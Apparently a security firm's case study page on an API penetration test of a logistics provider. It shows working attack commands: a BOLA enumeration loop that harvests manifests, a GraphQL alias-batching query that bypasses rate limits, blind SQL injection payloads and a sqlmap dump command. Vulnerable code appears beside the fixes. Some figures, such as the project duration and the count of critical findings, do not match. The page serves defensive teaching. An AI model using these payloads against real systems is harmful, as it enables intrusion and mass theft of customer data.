Skip to content
Featured Case Study

API Penetration Testing Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint

AI image prompt — Ultra-realistic, eye-level photograph of a bright, minimalist modern logistics command center during the day. Smiling engineers stand around a large glossy table where a premium tablet displays an elegant API endpoint threat map and shipment manifest dashboards with glowing violet (#7c3aed) accent lines. Floor-to-ceiling windows pour natural daylight across clean white workstations and green potted plants. Shot on Hasselblad, high-end professional commercial branding, no dark cyberpunk aesthetic

Project Details

Client
TransGlobe is a global freight and last-mile logistics provider moving over 4.2 million parcels per day across 38 countries, operating a complex microservices estate that exposes more than 600 internal and external REST and GraphQL endpoints behind a unified API gateway
Industry
Logistics / Supply Chain
Company Size
4,500 - 6,000
Headquarters
Rotterdam, Netherlands
Project Duration
1 month (Mar 2026 - Apr 2026)

A comprehensive grey-box API penetration test of a global logistics provider (TransGlobe Logistics) spanning 600+ REST and GraphQL endpoints behind a unified gateway. The engagement uncovered and remediated a mass BOLA/IDOR exposure leaking customer shipment manifests, a GraphQL introspection leak chained with query batching to bypass rate limiting, and a blind boolean/time-based SQL injection in an undocumented legacy tracking endpoint — establishing object-level authorization, schema governance, and cost-aware query limits across the estate.

Engagement Classification · TLP:RED

Project ManifestGuard / API Gateway Audit

Full-scope grey-box API penetration test of a 600+ endpoint logistics microservice estate. 7 weeks, deep REST & GraphQL authorization analysis, and remediation of object-level access control, rate-limiting, and injection vectors at the gateway edge.

Critical
3 Vulnerabilities
2.4M
Manifests at Risk
100%
Remediated

When the Gateway Becomes the Whole Attack Surface

Ask a logistics engineer where the business lives and they will point at a warehouse. They are wrong. The parcel scan, the customs declaration, the last-mile handoff, the partner integration — every one of them is an HTTP request crossing a mesh of microservices, and none of them touch a truck. For TransGlobe, the API gateway is not a peripheral component. It is the single most valuable and most exposed asset the company owns, and it had been treated as plumbing.

Centralisation cuts both ways. A unified gateway buys you consistent authentication, observability, and routing in one place — and it also means a single authorisation gap does not stay local; it cascades across 600+ downstream endpoints behind the same trusted edge. TransGlobe’s SOC noticed it first: sequential, high-velocity object lookups against the customer manifest service, all originating from one low-privilege partner token. That pattern is what a data harvest looks like from the outside. They brought us in for a deep, grey-box assessment of the core API estate, and what we found was a textbook case for why the OWASP API Security Top 10 exists as a separate discipline from the classic web Top 10 — the flaws that matter most here are invisible to the tools built for the latter.


Technical Audit Snapshot

Endpoints Mapped
612
REST & GraphQL routes
Auth Boundaries Tested
94
Across 11 microservices
Vulnerabilities Found
11
CVSS v3.1 4.3 – 9.9
Records Exposable
2.4M
Customer manifests

5-Phase API Testing Methodology

We ran a structured, five-phase grey-box methodology aligned to the OWASP API Security Testing Guide. The starting position was deliberately thin: two low-privilege partner credentials and not one page of documentation for the legacy estate. That is not a limitation — it is the point. It mirrors exactly what an attacker gets after phishing a single partner integration, and it forces the discovery work that a credentialed white-box test quietly skips over.

01

Endpoint Discovery & Schema Harvesting

Enumerated REST routes from OpenAPI fragments, JS bundles, and mobile traffic captures; harvested the full GraphQL type system via introspection. Surfaced 140+ undocumented and legacy endpoints invisible to the official API catalog.

02

Authentication & Authorization Mapping

Reconstructed the token model (partner JWT, internal service mTLS, admin scopes) and built an object-ownership matrix — which identity should be able to read or mutate which resource — to systematically hunt for object- and function-level gaps.

03

Privilege Escalation & BOLA/BFLA Testing

Replayed every read/write across identity boundaries: swapping object IDs (BOLA), invoking admin-only functions with partner tokens (BFLA), and tampering with tenant claims to cross the multi-tenant boundary.

04

Fuzzing, Injection & Rate-Limit Abuse

Fuzzed parameters for injection sinks, chained GraphQL query batching and aliasing to defeat request-count throttling, and probed legacy tracking endpoints for boolean and time-based blind SQL injection.

05

Remediation Engineering & Verification

Co-authored object-level authorization middleware, disabled production introspection, deployed cost-based query limits, and parameterized the legacy data layer — then re-ran the full attack suite to confirm closure.


Target Architecture Under Test

All external and partner traffic enters through a single Edge API Gateway fronting a mesh of domain microservices. The gateway answers one question well — is this token valid? — and historically punted the harder one, can this token read this specific object?, down to each service to answer for itself. Some did. Some did not. That inconsistency is the whole vulnerability: a trust boundary that exists on paper but is enforced in eleven different places, at eleven different levels of rigour, by teams who each assumed the gateway had already handled it.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% graph TD classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef gateway fill:#1e1135,stroke:#7c3aed,stroke-width:2px,color:#ede9fe; classDef logic fill:#1e1135,stroke:#7c3aed,stroke-width:3px,color:#ede9fe; classDef datastore fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Partner([Partner API Client]):::untrusted Mobile([Driver Mobile App]):::untrusted Gateway{Edge API Gateway
JWT + Rate Limit}:::gateway Manifest[Manifest Service
REST]:::logic Track[Tracking Service
GraphQL]:::logic Legacy[Legacy Trace API
Undocumented]:::logic PG[(PostgreSQL
Manifests)]:::datastore Mongo[(MongoDB
Events)]:::datastore MySQL[(Legacy MySQL)]:::datastore Partner --> Gateway Mobile --> Gateway Gateway -.-> Manifest Gateway -.-> Track Gateway -.-> Legacy Manifest --> PG Track --> Mongo Legacy --> MySQL

Vulnerability Classification Matrix

Each finding was scored with CVSS v3.1 and mapped to the OWASP API Security Top 10 (2023) — the framework built for the API-specific risk classes the generic web Top 10 underweights. The two headline critical findings both scored at or above 9.4, and neither would have been caught by an automated scanner: BOLA has no signature, and a blind SQL injection behind an undocumented route is not in anyone’s crawl map.

IDVulnerability / AssetCategoryCVSS v3.1OWASP API ClassExploit ComplexityStatus
OC-API-001BOLA in Manifest Retrieval EndpointObject-Level Auth Bypass9.9 (Critical)API1:2023-BOLATrivial (ID enumeration)REMEDIATED
OC-API-002GraphQL Introspection + Batching Rate-Limit BypassResource Exhaustion8.6 (High)API4:2023-Resource ConsumptionLow (Query aliasing)REMEDIATED
OC-API-003Blind SQLi in Legacy Trace EndpointInjection9.4 (Critical)API8:2023 / A03-InjectionMedium (Blind inference)REMEDIATED
OC-API-004BFLA on Admin Manifest ReassignmentFunction-Level Auth Bypass8.1 (High)API5:2023-BFLALow (Method/route swap)REMEDIATED
OC-API-005Excessive Data Exposure in Tracking NodeOver-fetching / PII Leak5.9 (Medium)API3:2023-Property AuthMedium (Field selection)REMEDIATED
Advertisement

API Endpoint Threat Landscape

Findings on their own do not tell an operations team where to look tomorrow. So beyond the headline vulnerabilities, we scored every reachable route on a composite threat index blending authentication strength, object-ownership enforcement, observed request volume, and data sensitivity. Volume matters here in a way people underestimate: the /v2/manifests/{id} route sees 18 million requests a day, so a flaw there is not a theoretical exposure but a haystack an attacker can hide 2.4 million malicious reads inside. The table below is the live triage board the TransGlobe platform team now runs in production.

← Swipe horizontally to view the full landscape →

EndpointMethodProtocolAuthReq / DayThreat IndexPosture
/v2/manifests/{id}GETRESTPartner JWT18.4M
92
critical
/graphql · manifestByTrackingIdPOSTGraphQLPartner JWT7.1M
86
critical
/api/v1/traceGETREST (legacy)Legacy cookie410K
88
critical
/v2/manifests/{id}/reassignPOSTRESTAdmin scope64K
74
high
/graphql · partnerSettlementLedgerPOSTGraphQLInternal mTLS2.2M
61
medium
/v2/shipments/{id}/eventsGETRESTPartner JWT24.9M
34
hardened
/v2/auth/tokenPOSTRESTClient secret1.1M
22
hardened

Critical Finding OC-API-001 — Mass BOLA in the Manifest Service

Broken Object Level Authorization (BOLA) sits at number one on the OWASP API Security Top 10 for three reasons that all held true here: scanners cannot see it, a first-year developer can exploit it, and at scale it is catastrophic. TransGlobe’s GET /v2/manifests/{manifestId} endpoint verified the caller’s JWT correctly — signature valid, not expired, right issuer — and then never asked the one question that actually protects the data: does this token’s tenant own this manifest?

The exploit was handed to us by a design decision nobody flagged as security-relevant. manifestId values were sequential, monotonically increasing integers. Not UUIDs, not tenant-scoped identifiers — just 100001, 100002, 100003. A single low-privilege partner token could therefore walk the entire customer shipping ledger by counting: names, addresses, declared parcel contents, customs valuations, and commercial counterparties, for every customer of every competing partner on the platform. The predictable-ID choice was made for a legacy admin UI years earlier; it quietly became the difference between a bounded leak and a total one.

BOLA Exploitation Flow

← Swipe horizontally to view full exploitation flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% sequenceDiagram autonumber participant Attacker as "Partner Token (Low-Priv)" participant Gateway as "Edge Gateway" participant Manifest as "Manifest Service" participant DB as "PostgreSQL" Attacker->>Gateway: GET /v2/manifests/100001 Gateway-->>Manifest: JWT valid to forward (no object check) Manifest->>DB: SELECT * FROM manifests WHERE id=100001 DB-->>Manifest: Competitor's customer manifest Manifest-->>Attacker: 200 OK (customer PII, contents, value) Note over Attacker: Increment ID, repeat 2.4M times via async workers Attacker->>Gateway: GET /v2/manifests/100002 ... 2499999

Attack Proof-of-Concept

There is no clever payload here, and that is the uncomfortable part. The enumeration is a for loop. With 200 concurrent workers and the partner’s own legitimate token — no stolen credentials, nothing that trips an auth alarm — the full ledger came out in under four hours. That fits inside a single overnight maintenance window, which is precisely when nobody is watching the request graph.

# Single-object proof: read a manifest the partner does NOT own
curl -s -X GET "https://api.transglobe.example/v2/manifests/1872042" \
  -H "Authorization: Bearer $PARTNER_JWT" \
  -H "Accept: application/json" | jq '{id, customer: .consignee.name, value: .customs.declaredValue}'

# Output (object belongs to a DIFFERENT partner tenant):
# {
#   "id": 1872042,
#   "customer": "Helvetia Pharma AG",
#   "value": "EUR 412,900.00"
# }

# Weaponized enumeration: harvest the entire ledger
seq 100000 2499999 | \
  xargs -P 200 -I {} curl -s \
    -H "Authorization: Bearer $PARTNER_JWT" \
    "https://api.transglobe.example/v2/manifests/{}" \
    >> harvested_manifests.jsonl

Root Cause — Authentication ≠ Authorization

The vulnerable handler trusted the gateway’s authentication and resolved the object purely by the path parameter. There was no ownership predicate binding the authenticated tenant to the requested row. The fix is four words of where clause — filter on tenantId at the data-access boundary — and the cost worth naming is that it has to be applied on every read and write, not just this one. Bolt it onto a single handler and you have fixed a symptom; the next endpoint someone writes reintroduces the flaw. That is why the real remediation was middleware, not a patch.

manifest-controller.ts
VULNERABLE
// Resolves object by ID only — no ownership check
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const manifest = await db.manifest.findUnique({
  where: { id: Number(req.params.id) },
});

if (!manifest) return res.status(404).end();

// BOLA: any valid token reads ANY manifest
return res.json(manifest);
});
SECURED & HARDENED
// Enforce tenant ownership at the data-access boundary
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const tenantId = req.auth.tenantId; // from verified JWT

const manifest = await db.manifest.findFirst({
  where: {
    id: Number(req.params.id),
    tenantId,            // ownership predicate
  },
});

// 404 (not 403) avoids leaking object existence
if (!manifest) return res.status(404).end();

// Centralized policy assertion as defense-in-depth
assertCanRead(req.auth, manifest);

return res.json(toManifestDTO(manifest, req.auth.scopes));
});

Live Request Tamperer

Replay the identical cross-tenant manifest read against both builds. Toggle the intercept tab to send the request through the vulnerable handler versus the ownership-enforcing endpoint, and watch the response diverge. Note the deliberate choice on the secured side: a 404, not a 403. A 403 confirms the object exists and you simply cannot see it — which is itself a data leak, one that lets an attacker map which IDs are real. The 404 says nothing.

intercept-proxy · /v2/manifests
Request
GET /v2/manifests/1872042 HTTP/1.1
Host: api.transglobe.example
Authorization: Bearer <partner_token_tenant_A>
Accept: application/json

# Object 1872042 belongs to tenant_B
Response
200 OK · Cross-Tenant Leak
{
"id": 1872042,
"tenantId": "tenant_B",
"consignee": { "name": "Helvetia Pharma AG",
               "address": "Basel, CH-4051" },
"customs": { "declaredValue": "EUR 412900.00",
             "contents": "Temp-controlled APIs" }
}

The handler resolves the object by ID alone. Tenant A reads tenant B’s confidential manifest — a single request in a 2.4M-record enumeration.

404 Not Found · Blocked
{
"error": "RESOURCE_NOT_FOUND",
"detail": "No manifest matches the requested id
           for the authenticated tenant.",
"policy": "object.ownership.tenant_scope",
"logId": "telemetry-bola-7741c"
}

The ownership predicate filters on tenantId, so the row is invisible to tenant A. Returning 404 (not 403) avoids confirming the object exists.


Critical Finding OC-API-002 — GraphQL Introspection Leak + Batching Rate-Limit Bypass

The Tracking Service exposed a GraphQL endpoint at /graphql with introspection enabled in production. Introspection is a genuine developer convenience — it lets a client download the entire schema, every type, field, argument, and deprecated mutation, which is exactly what makes GraphiQL usable. Ship it to production and that same convenience becomes a free, perfectly accurate map of your internal data model, handed to anyone who asks, including the resolvers the public docs never mention. partnerSettlementLedger was one of them.

The rate limiter made it worse, and the mechanism is worth understanding because so many teams get it wrong. The gateway throttled by HTTP request count. For a REST API that is roughly fine; for GraphQL it is meaningless, because a single HTTP request can carry hundreds of operations. Combine query batching — an array of operations in one POST — with field aliasing — the same expensive resolver invoked many times under different alias names — and thousands of logical queries collapse into a handful of requests that never approach the per-minute limit. The limiter is doing its job perfectly and protecting nothing.

Step 1 — Harvest the Schema via Introspection

# Pull the full type system — no auth scope required
curl -s -X POST "https://api.transglobe.example/graphql" \
  -H "Authorization: Bearer $PARTNER_JWT" \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery { __schema { types { name fields { name args { name type { name } } } } } }"}' \
  | jq '.data.__schema.types[] | select(.name=="Query") | .fields[].name'

# Reveals undocumented, sensitive resolvers:
#   "manifestByTrackingId"
#   "internalRouteCostBreakdown"
#   "partnerSettlementLedger"   <-- should never be partner-reachable

Step 2 — Defeat the Rate Limiter with Batching + Aliasing

The limiter counted one HTTP POST as one unit of cost. The single request below executes 500 distinct lookups and counts as exactly one against the quota — a 500-to-1 discount the attacker did not have to ask for.

# One HTTP request → 500 aliased resolver invocations
query BatchedHarvest {
  q0:  manifestByTrackingId(id: "TG-100000") { consignee { name address } customs { declaredValue } }
  q1:  manifestByTrackingId(id: "TG-100001") { consignee { name address } customs { declaredValue } }
  q2:  manifestByTrackingId(id: "TG-100002") { consignee { name address } customs { declaredValue } }
  # ... aliases q3 … q499 generated programmatically ...
  q499: manifestByTrackingId(id: "TG-100499") { consignee { name address } customs { declaredValue } }
}

Chained onto the BOLA flaw above, this is what turns a serious finding into an emergency. The four-hour enumeration loop collapses into a handful of throttle-evading batch requests — quiet enough that the volume-based anomaly detection that first flagged the partner token would very likely have missed it.

Attack Vector Diagram

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#160d28,stroke:#7c3aed,stroke-width:2px,color:#ede9fe; Req[1 HTTP POST /graphql] --> RL{Rate Limiter
counts requests?} RL -->|Yes: counts as 1| Pass[Under quota → forwarded]:::vuln Pass --> Batch[Server expands 500 aliased ops]:::vuln Batch --> Harvest[500 resolver hits per request]:::vuln RL -->|Hardened: cost-based| Cost{Query cost > budget?} Cost -->|Yes| Reject[429 Too Many Points]:::ok Cost -->|No| Allow[Execute within budget]:::ok

The Remediation Block (Before vs After)

graphql-server.ts
VULNERABLE
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: true,   // schema leaked in prod
// no depth / cost limits
// no batch-size cap
});

// Gateway limiter keyed on request COUNT only
rateLimit({ windowMs: 60_000, max: 100 });
SECURED & HARDENED
import depthLimit from 'graphql-depth-limit';
import { createComplexityRule } from 'graphql-query-complexity';

const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',
validationRules: [
  depthLimit(8),
  createComplexityRule({
    maximumComplexity: 1000,        // cost budget
    estimators: [fieldCostEstimator],
    onComplete: (cost) => meter(cost),
  }),
],
// cap operations per batched request
plugins: [batchLimitPlugin({ maxOps: 10 })],
});

// Cost-aware limiter: charge POINTS, not requests
rateLimit({ windowMs: 60_000, max: 5000, cost: queryCost });

Critical Finding OC-API-003 — Blind SQL Injection in the Legacy Trace Endpoint

The most dangerous endpoint in the estate was the one nobody remembered. Endpoint discovery surfaced an undocumented v1 route, GET /api/v1/trace, still wired through the gateway and still backed by an ageing MySQL 5.6 instance. It predated the platform’s ORM migration, so while every modern service used parameterised queries, this one built its SQL the old way — string concatenation. It returned only a generic 200 or 500 and never echoed a row of data, which is exactly why it had survived: it looked harmless and it did not appear in any catalogue. It was also cleanly injectable, a textbook blind SQL injection exploitable by boolean and time-based inference. Undocumented never meant unreachable; it only meant unmonitored.

Boolean-Based Inference

A true condition returned the normal 200 payload; a false condition returned an empty body. That is all an attacker needs — a binary oracle that answers yes or no. Ask enough yes/no questions about the database one bit at a time and you reconstruct arbitrary data; it is slow, it is entirely automatable, and the endpoint’s silence does nothing to stop it.

# Baseline — valid reference returns 200 with a trace record
curl -s -o /dev/null -w "%{http_code}\n" \
  "https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
  -H "Authorization: Bearer $PARTNER_JWT"
# 200

# TRUE condition → 200 (record returned)
curl -s -o /dev/null -w "%{http_code}\n" \
  "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=1--%20-" \
  -H "Authorization: Bearer $PARTNER_JWT"
# 200

# FALSE condition → 200 but empty body (oracle flips)
curl -s "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=2--%20-" \
  -H "Authorization: Bearer $PARTNER_JWT"
# []

Time-Based Confirmation & Extraction

When the response body gives nothing away, latency does. A SLEEP() payload turns the database’s own response time into the oracle: ask it to pause five seconds when a condition is true, and the stopwatch answers the question the body would not. It confirms the injection beyond doubt and opens the same bit-by-bit extraction path, just measured in clock time instead of payload size.

# If the first char of the DB version is '5', the response hangs ~5s
curl -s -o /dev/null -w "%{time_total}s\n" \
  "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%20IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--%20-" \
  -H "Authorization: Bearer $PARTNER_JWT"
# 5.04s  → confirmed

# Automated end-to-end extraction
sqlmap -u "https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
  --headers="Authorization: Bearer $PARTNER_JWT" \
  --technique=BT --dbms=mysql --batch --threads=8 \
  --dump -T users -D legacy_trace

Blind Inference Flow

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#160d28,stroke:#7c3aed,stroke-width:2px,color:#ede9fe; Payload[Inject: AND IF cond then SLEEP] --> Concat[Legacy builds SQL via string concat]:::vuln Concat --> Exec[MySQL executes tampered query]:::vuln Exec --> Timing{Response delayed?} Timing -->|Yes ~5s| True[Bit = 1]:::vuln Timing -->|No instant| False[Bit = 0]:::vuln True --> Extract[Reconstruct data byte-by-byte]:::vuln False --> Extract

The Remediation Block (Before vs After)

legacy-trace.ts
VULNERABLE
app.get('/api/v1/trace', legacyAuth, (req, res) => {
const ref = req.query.ref;

// String concatenation → injectable
const sql =
  "SELECT * FROM trace_log WHERE ref = '" + ref + "'";

legacyDb.query(sql, (err, rows) => {
  if (err) return res.status(500).end();
  return res.json(rows);
});
});
SECURED & HARDENED
import { z } from 'zod';

const traceQuery = z.object({
// Strict allow-list format for shipment refs
ref: z.string().regex(/^TG-[0-9]{6,10}$/),
});

app.get('/api/v1/trace', legacyAuth, async (req, res) => {
const { ref } = traceQuery.parse(req.query);

// Parameterized / prepared statement — no concat
const rows = await legacyDb.execute(
  'SELECT ref, status, scanned_at FROM trace_log WHERE ref = ?',
  [ref],
);

return res.json(rows);
});

API Kill Chain Explorer

No single finding here would have lost TransGlobe its customer ledger. The chain would. Step through it interactively — select a stage to light up the attack path and see the exact tooling, request, and outcome at each hop, from passive endpoint discovery through to a throttle-evading mass-data harvest. The lesson worth carrying out of it: individually these were a Medium and two Criticals; strung together they were an extinction-level breach, and no scanner scores a chain.

killchain-telemetry.log
$ Stage 01 — Endpoint & Schema Discovery
# Mine JS bundles + replay mobile traffic for hidden routes
ffuf -u https://api.transglobe.example/FUZZ -w api-routes.txt -mc 200,401,403
# GraphQL introspection dumps the entire type system
gql-cli https://api.transglobe.example/graphql --introspect > schema.json

140+ undocumented and legacy routes surface that never appeared in the official API catalog — including /api/v1/trace and partnerSettlementLedger.

▸ Chain Status: MAPPED · 612 endpoints, full GraphQL schema recovered
$ Stage 02 — Auth Mapping & Token Abuse
# Decode the partner JWT — scope is coarse, tenant claim trusted downstream
jwt decode $PARTNER_JWT
{ "sub": "partner_A", "tenantId": "tenant_A", "scope": "manifests:read" }
# Gateway authenticates the token but never re-checks object ownership

The token is valid and low-privilege — exactly the access a compromised partner integration would hold. Authorization is delegated, inconsistently, to each service.

▸ Chain Status: MODELED · object-ownership gap identified
$ Stage 03 — BOLA Object Enumeration
curl -s -H "Authorization: Bearer $PARTNER_JWT" \
https://api.transglobe.example/v2/manifests/1872042
# 200 OK — object owned by tenant_B is returned to tenant_A

Sequential integer IDs + no ownership predicate = a clean read oracle across every tenant on the platform. Each increment is another competitor’s confidential manifest.

▸ Chain Status: SUCCESS · cross-tenant read confirmed
$ Stage 04 — Batched Throttle-Evading Exfil
# 500 aliased resolver calls in ONE request — counts as 1 vs the limiter
python3 batch_harvest.py --aliases 500 --range 100000-2499999
>>> 2,400,000 manifests harvested in 47 batched requests

Chaining BOLA with GraphQL aliasing collapses a four-hour loop into a handful of requests that never trip the per-minute throttle — the full customer ledger, exfiltrated quietly.

▸ Chain Status: IMPACT PROVEN · 2.4M records · halted per rules of engagement

Attack Volume vs Blocked Requests · Remediation Telemetry

Live gateway telemetry across the seven-week engagement. Read it with one caveat in mind: the rising red line is not proof the attack got worse, it is proof the detection got better — you cannot block what you were never scoring. As object-level authorisation, cost-based GraphQL limits, and parameterised queries shipped, flagged malicious volume climbed while the share blocked at the edge converged on 100%. The gap between the two lines is the window an attacker had before each fix landed, which is the honest way to read a remediation curve.

Malicious API Volume vs Edge-Blocked Requests

Weekly counts (thousands) of flagged requests vs requests rejected at the gateway

Attack VolumeBlocked at Edge
100k75k50k25k0kW1W2W3W4W5W6W7BOLA fix liveCost limits live99.6% blocked

Side-by-Side Attack Simulator Replay

The same BOLA enumeration payload, replayed side by side against the legacy gateway and the post-engagement hardened build. The request is byte-for-byte identical in both panes — the only thing that changed is where the ownership check lives.

TransGlobe · Gateway v1 (Legacy)
EXPLOITED
GET /v2/manifests/1872042
JWT valid → forwarding, no object check ●●●
→ Returned cross-tenant manifest: Helvetia Pharma AG
200 OK · declaredValue EUR 412,900
Enumeration sustained: 2,400,000 manifests harvestable
TransGlobe · Gateway v2 (Hardened)
BLOCKED
GET /v2/manifests/1872042
Resolving object under tenant scope ●●●
⚠ Ownership predicate failed: tenant_A ≠ owner(tenant_B)
404 Not Found · {“policy”: “object.ownership.tenant_scope”}
telemetry: alert.bola.enumeration · token=partner_A · throttled

Engagement Coverage · OWASP API Security Top 10 (2023)

Every risk class in the OWASP API Security Top 10 was exercised against the estate — not just the three that produced headline findings. The table maps test depth and the exposure delta from pre-audit baseline to the hardened build. One row is deliberately left open: API9, Improper Inventory Management, is marked monitor rather than closed, because inventory management is not a control you finish. The /api/v1/trace endpoint proved that. Close it today and a re-org, an acquisition, or a forgotten migration reopens it next quarter; the honest status is ongoing, and pretending otherwise is how the next undocumented route gets written.

IDRiskCasesPre-fix ExposurePost-fix ExposureStatus
API1Broken Object Level Authorization14231.4%0.0%closed
API2Broken Authentication648.1%0.0%closed
API3Broken Object Property Level Auth8814.9%0.3%closed
API4Unrestricted Resource Consumption5722.6%0.4%closed
API5Broken Function Level Authorization7311.2%0.0%closed
API6Unrestricted Access to Sensitive Flows406.5%0.0%closed
API7Server Side Request Forgery342.9%0.0%closed
API8Security Misconfiguration9618.7%1.1%closed
API9Improper Inventory Management110n/an/amonitor
API10Unsafe Consumption of APIs484.3%0.0%closed

Quantifiable Business Impact

The engagement turned an active, SOC-flagged exfiltration risk into a hardened, partner-defensible API programme — and, more concretely, closed the path a competitor would have used to walk off with TransGlobe’s entire customer shipping ledger. The numbers below are the ones that survived a sceptical read; where a figure depended on a hypothetical breach cost we left it out, because “prevented theft of a 2.4M-record ledger” is a defensible claim and a dollar figure attached to a breach that never happened is not.

Security MetricPre-Audit StateHardened StateQuantified ROI
Object-Level Authorization Coverage~40% of read endpoints100% (gateway-enforced)Prevented theft of 2.4M-record customer manifest ledger
GraphQL Production IntrospectionFully exposed schemaDisabled + cost-limitedClosed competitor-espionage reconnaissance channel
Rate-Limit Bypass SurfaceRequest-count only (batchable)Cost/point-based budgetsNeutralized batching & aliasing exfiltration vector
Legacy Data-Layer InjectionString-concatenated SQLParameterized + input allow-listEliminated full-database blind extraction path
Partner / Regulatory PostureGDPR exposure, audit gapsISO 27001 + GDPR alignedUnblocked 3 enterprise partner API integrations

Strategic Takeaways

Securing a large microservice estate is not about hardening one service well. It is about enforcing the same trust boundary consistently, at the gateway and the data-access layer, across every endpoint — including the ones no one has looked at since 2019.

  1. Authentication is not authorisation. A valid token answers “who are you,” never “may you touch this object.” Object-level ownership has to be enforced at the data-access boundary on every read and write, and the reason BOLA remains the most-exploited API flaw is precisely that it hides behind a green authentication check — the request looks legitimate at every layer except the one that was never written.
  2. GraphQL needs cost, not count. Throttling by HTTP request count is theatre when a single request can carry hundreds of aliased operations. Disable production introspection, cap query depth and batch size, and budget by query complexity points. The trade-off is real — complexity accounting adds latency to every query and needs tuning so legitimate heavy queries are not rejected — and it is worth paying, because the alternative is a limiter that reports healthy while the data walks out.
  3. Undocumented does not mean unreachable. The endpoint that nearly cost the most was the one nobody remembered owning. Continuous endpoint discovery, an authoritative and maintained API inventory, and active decommissioning of legacy routes are security controls, not housekeeping — and every query gets parameterised and every input validated no matter how old or how quiet the service.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organisation.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright logistics operations floor in broad daylight. Smiling engineers consult around a high-fidelity light dashboard projected on a white wall, showing live API request volumes, shipment manifests, and security alerts accented with rich violet colors (#7c3aed). Clean workstations, green potted plants, bright daylight, premium workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining a secure API Gateway authorization pipeline and object-level access control flow. Rendered on a minimalist off-white surface with soft natural shadows. Blocks representing Client, API Gateway, Auth Service, and Shipment Database are connected by flowing violet (#7c3aed) wires. Studio lighting, professional layout diagram
AI image prompt — A realistic candid photograph of a professional security engineer reviewing GraphQL queries on a large high-end monitor in a bright office. Natural daylight streams through massive windows. The screen displays structured schema files and a modern API client interface with subtle violet (#7c3aed) highlights. Potted plants, stylish wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female security architect presents a secure, multi-layered microservice and API gateway architecture diagram on a large white screen with elegant violet (#7c3aed) line details. Corporate executives listen intently around a sleek modern conference table. Shot on Hasselblad, premium corporate high-end office aesthetic
Client Endorsement

Hear it straight from TransGlobe Logistics

"We process millions of shipment manifests daily, and our entire business runs on APIs. When our SOC flagged anomalous bulk-read patterns against our customer manifest service, we needed answers fast. The assessment team didn't just confirm the leak — they reconstructed the exact enumeration chain, proved a competitor could have harvested our entire customer shipping ledger, and handed us production-ready object-level authorization middleware. They turned a terrifying blind spot into the most rigorous API security program we've ever run."

Mariëlle Devos

Mariëlle Devos

VP of Platform Engineering at TransGlobe Logistics

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning

Ask CyberROX AI